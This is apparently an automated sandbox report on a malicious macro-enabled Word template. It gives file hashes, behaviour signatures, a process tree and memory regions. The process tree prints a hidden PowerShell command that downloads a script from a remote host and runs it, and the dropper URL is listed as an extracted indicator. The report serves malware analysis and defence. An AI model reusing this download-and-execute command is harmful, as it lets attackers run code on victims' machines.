Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-06-2024 09:56

General

  • Target

    cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm

  • Size

    19KB

  • MD5

    f521243bb4603ec2d67ac404b1cbd942

  • SHA1

    f33ae32bfd44346172263a46fc06a3ea770c78ed

  • SHA256

    cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3

  • SHA512

    1b4e45cf227fb53de35db348f1eb832b85ce6cb2165548ce89b4fdb4328b6e32a713bc5dd279bb4bc4044b2c364c79338ea499f43d55cd0eb8f94428875170a5

  • SSDEEP

    384:tmtRFMr+ii92IUI6bl+ZwNxt/ZtNNxFGPpql3FT6nAhiq:qRF2+ibIMl+ZqxllNzGPYinAwq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.49.70/run.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2724
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.70/run.txt'))
      1⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2488

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      509d93d94a170cd0f1ee9571aca922d6

      SHA1

      a768a082a0b5f0ce08c29014e11ac0a44a5c8ea6

      SHA256

      6342f497f30be2e3f6df2d102f4624b7130b604ea149f47406814306066db999

      SHA512

      f70f688464698df100a752970c06b0fd5122bf7d994edab1925728bb0e8862d4d2886ac340ee978638cf98cdc434bf5e59ce5d8b306a8f4ea985abff827e28df

    • memory/2488-69-0x0000000001F40000-0x0000000001F48000-memory.dmp

      Filesize

      32KB

    • memory/2488-68-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

      Filesize

      2.9MB

    • memory/2684-31-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-6-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-37-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-8-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-16-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-20-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-29-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-28-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-12-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-11-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-10-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-9-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-27-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-0-0x000000002F921000-0x000000002F922000-memory.dmp

      Filesize

      4KB

    • memory/2684-96-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2684-5-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-59-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-62-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-61-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-60-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-58-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-44-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-7-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-2-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/2684-75-0x000000007155D000-0x0000000071568000-memory.dmp

      Filesize

      44KB

    • memory/2684-76-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-77-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-78-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB

    • memory/2684-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2684-51-0x0000000000470000-0x0000000000570000-memory.dmp

      Filesize

      1024KB